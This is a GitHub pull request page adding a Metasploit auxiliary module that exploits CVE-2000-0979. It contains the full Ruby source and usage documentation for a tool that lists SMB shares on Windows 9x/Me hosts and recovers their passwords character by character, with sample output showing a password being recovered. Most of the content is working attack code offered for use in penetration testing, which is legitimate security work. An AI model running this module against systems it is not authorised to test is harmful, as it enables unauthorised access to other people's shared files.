-
Notifications
You must be signed in to change notification settings - Fork 14.9k
Add module for CVE-2000-0979 Windows 9x/Me SMB share password enumeration #21072
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
Z6543
wants to merge
13
commits into
rapid7:master
Choose a base branch
from
Z6543:add-cve-2000-0979-module
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
Show all changes
13 commits
Select commit
Hold shift + click to select a range
5003a0b
Add auxiliary module for CVE-2000-0979 SMB share password enumeration
Z6543 a9caccd
Refactor cve_2000_0979 to use RubySMB instead of hardcoded packets
Z6543 e770366
Add verbose diagnostic for TreeConnect probes
Z6543 6f6f51d
Document SMBName option for cve_2000_0979
Z6543 3201a6c
Resolve SMBName via pure-Ruby NBNS before connecting
Z6543 c1158cd
Verbose diagnostic for NBNS auto-discovery
Z6543 790296f
Bind NBNS Rex socket to local port 137 at create time
Z6543 e61f7b5
Drop local-port 137 binding from NBNS Rex factory
Z6543 91d022b
Bind NBNS Rex socket to LocalPort 137 at create time
Z6543 0ae944d
Enum shares via IPC\$ Tree#net_share_enum
Z6543 9f334f0
Fall back to raw socket for NBNS when UDP/137 is occupied
Z6543 0440f49
Fix pre-commit hook: NameError and RVM gem resolution
Z6543 36f3583
Address PR review comments on cve_2000_0979
Z6543 File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
89 changes: 89 additions & 0 deletions
89
documentation/modules/auxiliary/scanner/smb/cve_2000_0979.md
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,89 @@ | ||
| # Description | ||
|
|
||
| This module exploits CVE-2000-0979, an information disclosure vulnerability in the | ||
| share-level password authentication of Microsoft Windows 9x/Me SMB servers. The server | ||
| validates share passwords one character at a time, allowing an attacker to enumerate the | ||
| correct password byte-by-byte based on the server response. This significantly reduces | ||
| the brute-force complexity from exponential to linear in the password length. | ||
|
|
||
| A zero-length password is always accepted by vulnerable servers. Each subsequent character | ||
| can then be brute-forced individually by observing the authentication response. | ||
|
|
||
| The module first enumerates available shares on the target via a NetShareEnum request, | ||
| then attempts to recover the password for each share. | ||
|
|
||
| ## Vulnerable Systems | ||
|
|
||
| - Microsoft Windows 95 | ||
| - Microsoft Windows 98 | ||
| - Microsoft Windows 98 SE | ||
| - Microsoft Windows Me | ||
|
|
||
| ___ | ||
|
|
||
| # Usage | ||
|
|
||
| ``` | ||
| msf6 > use auxiliary/scanner/smb/cve_2000_0979 | ||
| msf6 auxiliary(scanner/smb/cve_2000_0979) > set RHOSTS 192.168.1.100 | ||
| RHOSTS => 192.168.1.100 | ||
| msf6 auxiliary(scanner/smb/cve_2000_0979) > run | ||
|
|
||
| [*] Starting CVE-2000-0979 SMB Share Password Enumerator | ||
| [+] Number of shares: 3 | ||
| [+] Share names: | ||
| [+] PUBLIC | ||
| [+] PRIVATE | ||
| [+] IPC$ | ||
| [*] Brute-forcing password for share: PUBLIC | ||
| [+] Empty password works for share: PUBLIC | ||
| [*] Brute-forcing password for share: PRIVATE | ||
| [*] Share PRIVATE - confirmed so far: s | ||
| [*] Share PRIVATE - confirmed so far: se | ||
| [*] Share PRIVATE - confirmed so far: sec | ||
| [*] Share PRIVATE - confirmed so far: secr | ||
| [*] Share PRIVATE - confirmed so far: secre | ||
| [*] Share PRIVATE - confirmed so far: secret | ||
| [+] Password found for share PRIVATE: secret | ||
| [*] Auxiliary module execution completed | ||
| ``` | ||
|
|
||
| ___ | ||
|
|
||
| ## Options | ||
|
|
||
| ### RHOSTS | ||
|
|
||
| The target host running a vulnerable Windows 9x/Me SMB server. Typically port 139 (NetBIOS). | ||
|
|
||
| ### RPORT | ||
|
|
||
| The SMB port to connect to. Defaults to `139`. | ||
|
|
||
| ### SMBName | ||
|
|
||
| The target's NetBIOS hostname, sent in the NBSS Session Request. Defaults to the | ||
| wildcard `*SMBSERVER`. | ||
|
|
||
| - **Leave at the default (`*SMBSERVER`)** if you do not know the target's NetBIOS | ||
| name. The module will fall back to a UDP Node Status query (RFC 1002, port 137) | ||
| when the server rejects the wildcard with `CALLED_NAME_NOT_PRESENT`, and retry | ||
| the session request with the resolved name. | ||
| - **Set it explicitly** (e.g. `set SMBName WIN95`) when you already know the name | ||
| or the target blocks UDP/137. Auto-discovery is skipped in that case, so the | ||
| server's rejection propagates immediately instead of stalling on a UDP probe. | ||
|
|
||
| You can find the NetBIOS name from any host that can reach UDP/137 on the target | ||
| using `nmblookup -A <ip>`, `nbtscan <ip>`, or `nmap -sU -p137 --script nbstat <ip>`. | ||
|
|
||
| ### DELAY | ||
|
|
||
| Optional delay (in seconds) between password probe attempts. Defaults to `0`. Can be | ||
| useful to avoid triggering rate limiting or network issues on unstable connections. | ||
|
|
||
| ___ | ||
|
|
||
| ## References | ||
|
|
||
| - [CVE-2000-0979](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0979) | ||
| - [SecurityFriday Share Password Checker](http://www.securityfriday.com/tools/SPC.html) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,186 @@ | ||
| class MetasploitModule < Msf::Auxiliary | ||
|
|
||
| include Msf::Exploit::Remote::SMB::Client | ||
| include Msf::Exploit::Remote::SMB::Client::Authenticated | ||
| include Msf::Auxiliary::Report | ||
|
|
||
| RAP_SHARE_TYPES = { | ||
| 0 => 'DISK', | ||
| 1 => 'PRINTER', | ||
| 2 => 'DEVICE', | ||
| 3 => 'IPC' | ||
| }.freeze | ||
|
|
||
| def initialize(info = {}) | ||
| super( | ||
| update_info( | ||
| info, | ||
| 'Name' => 'CVE-2000-0979 SMB Share Password Enumerator', | ||
| 'Description' => %q{ | ||
| This module exploits CVE-2000-0979, an information disclosure vulnerability | ||
| in the share-level password authentication of Microsoft Windows 9x/Me SMB | ||
| servers. The server validates passwords one character at a time, allowing an | ||
| attacker to enumerate the correct password byte-by-byte based on the server | ||
| response. A zero-length password is always accepted, and each subsequent | ||
| character can be brute-forced individually, significantly reducing the search | ||
| space required to recover the full share password. | ||
| }, | ||
| 'Author' => [ | ||
| 'Zoltan Balazs <zoltan1.balazs@gmail.com> @zh4ck', | ||
| 'Azbil SecurityFriday Co Ltd' | ||
| ], | ||
| 'References' => [ | ||
| ['CVE', '2000-0979'], | ||
| ['URL', 'http://www.securityfriday.com/tools/SPC.html'], | ||
| ], | ||
| 'DisclosureDate' => '2000-10-10', | ||
| 'License' => MSF_LICENSE, | ||
| 'Notes' => { | ||
| 'AKA' => ['Share Password Checker'], | ||
| 'Stability' => [CRASH_SAFE], | ||
| 'Reliability' => [], | ||
| 'SideEffects' => [IOC_IN_LOGS] | ||
| } | ||
| ) | ||
| ) | ||
|
|
||
| register_options( | ||
| [ | ||
| OptInt.new('DELAY', [false, 'Add delay between password probes', 0]), | ||
| Opt::RPORT(139), | ||
| OptString.new('SMBName', [true, 'NetBIOS name of the target Win9x/Me machine', nil]) | ||
| ] | ||
| ) | ||
| end | ||
|
|
||
| def run | ||
| delay = datastore['DELAY'] | ||
| print_status('Starting CVE-2000-0979 SMB Share Password Enumerator') | ||
|
|
||
| # Phase 1: Connect and enumerate shares via RAP | ||
| connect(versions: [1], backend: :ruby_smb, direct: false) | ||
| smb_login | ||
|
|
||
| shares = enum_shares_rap | ||
| if shares.empty? | ||
| print_status('No shares found') | ||
| disconnect | ||
| return | ||
| end | ||
|
|
||
| disconnect | ||
|
|
||
| # Phase 2: Reconnect and brute-force share passwords | ||
| connect(versions: [1], backend: :ruby_smb, direct: false) | ||
| smb_login | ||
|
|
||
| brute_force_shares(shares, delay) | ||
|
|
||
| disconnect | ||
| rescue ::Interrupt | ||
| raise $ERROR_INFO | ||
| rescue Rex::ConnectionTimeout => e | ||
| print_error(e.to_s) | ||
| rescue Rex::Proto::SMB::Exceptions::LoginError => e | ||
| print_error(e.to_s) | ||
| rescue RubySMB::Error::RubySMBError => e | ||
| print_error("RubySMB error: #{e}") | ||
| rescue StandardError => e | ||
| print_error("#{e.class}: #{e}") | ||
| ensure | ||
| begin | ||
| disconnect | ||
| rescue StandardError # rubocop:disable Lint/SuppressedException | ||
| end | ||
| end | ||
|
|
||
| private | ||
|
|
||
| def enum_shares_rap | ||
| shares = [] | ||
| tree = simple.client.tree_connect("\\\\#{rhost}\\IPC$") | ||
| begin | ||
| tree.net_share_enum.each do |entry| | ||
| type_str = RAP_SHARE_TYPES.fetch(entry[:type], "UNKNOWN(#{entry[:type]})") | ||
| shares << entry[:name] | ||
| print_good("#{entry[:name]} - (#{type_str})") | ||
| end | ||
| ensure | ||
| begin | ||
| tree.disconnect! | ||
| rescue StandardError # rubocop:disable Lint/SuppressedException | ||
| end | ||
| end | ||
| print_good("Number of shares: #{shares.length}") | ||
| shares | ||
| rescue StandardError => e | ||
| print_error("Share enumeration failed: #{e}") | ||
| [] | ||
| end | ||
|
|
||
| def try_tree_connect(share_path, password_bytes) | ||
| pass_str = password_bytes.pack('C*') | ||
| tree = simple.client.tree_connect(share_path, password: pass_str) | ||
| vprint_status( | ||
| "TreeConnect #{share_path} pw=#{password_bytes.map { |b| '%02X' % b }.join} STATUS_SUCCESS" | ||
| ) | ||
| { success: true, tree: tree } | ||
| rescue RubySMB::Error::UnexpectedStatusCode => e | ||
| vprint_status( | ||
| "TreeConnect #{share_path} pw=#{password_bytes.map { |b| '%02X' % b }.join} #{e.status_code.name}" | ||
| ) | ||
| { success: false, tree: nil } | ||
| rescue StandardError => e | ||
| vprint_error("Tree connect error: #{e}") | ||
| { success: false, tree: nil } | ||
| end | ||
|
|
||
| def brute_force_shares(shares, delay) | ||
| shares.each do |share| | ||
| share_path = "\\\\#{rhost}\\#{share}" | ||
| print_status("Brute-forcing password for share: #{share}") | ||
|
|
||
| password = [0x20] | ||
|
|
||
| loop do | ||
| result = try_tree_connect(share_path, password) | ||
|
|
||
| if result[:success] | ||
| if password[0] == 0x20 && password[1] == 0x20 | ||
| print_good("Empty password works for share: #{share}") | ||
| result[:tree]&.disconnect! | ||
| break | ||
| end | ||
|
|
||
| confirmed = password.select { |v| v < 128 }.map(&:chr).join | ||
| print_status("Share #{share} - confirmed so far: #{confirmed}") | ||
|
|
||
| result[:tree]&.disconnect! | ||
| password.push(0x20) | ||
| else | ||
| password[-1] += 1 | ||
|
|
||
| vprint_status( | ||
| password.select { |v| v < 128 }.map(&:chr).join | ||
| ) | ||
|
|
||
| sleep(delay) if delay > 0 | ||
| sleep(0.01) | ||
|
|
||
| if password[-1] > 128 | ||
| found = password.select { |v| v < 128 }.map(&:chr).join | ||
| if password.length > 1 | ||
| print_good("Password found for share #{share}: #{found}") | ||
| else | ||
| print_status("Password not found for share: #{share}") | ||
| end | ||
| break | ||
| end | ||
| end | ||
| rescue IOError, SocketError, SystemCallError => e | ||
| print_error(e.message) | ||
| break | ||
| end | ||
| end | ||
| end | ||
| end | ||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Should be able to replace this and use the password parameter to
#tree_connectthat was added in your earlier PR.